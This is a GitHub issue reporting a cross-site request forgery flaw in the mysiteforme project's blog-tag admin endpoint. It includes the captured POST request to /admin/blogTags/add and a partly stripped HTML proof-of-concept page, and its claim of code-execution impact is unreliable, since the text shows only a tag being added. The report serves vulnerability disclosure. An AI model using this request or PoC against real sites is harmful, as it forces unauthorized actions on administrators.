Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability exists in mysiteforme #40

Open
Vulnerability110 opened this issue Dec 29, 2021 · 0 comments
Open

There is a CSRF vulnerability exists in mysiteforme #40

Vulnerability110 opened this issue Dec 29, 2021 · 0 comments

Comments

@Vulnerability110
Copy link

There is a CSRF vulnerability in the background blog management. The attacker constructs a CSRF load. Once the administrator clicks a malicious link, a blog tag will be added
[Vulnerability Type]
Cross-site request forgery (csrf)
[Vendor of Product]
https://github.com/wangl1989/mysiteforme
[Affected Component]
POST /admin/blogTags/add HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 23
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

name=%E5%8E%86%E5%8F%B2

[Attack Type]
Remote

[Impact Code execution]
true
POC:

<title>CSRF的poc</title> <script>history.pushState('', '', '/')</script>
  <input type="submit" value="Submit request" />
</form>

image
image
image
image

@Vulnerability110 Vulnerability110 changed the title There is a stored xss vulnerability exists in mysiteforme There is a CSRF vulnerability exists in mysiteforme Dec 29, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant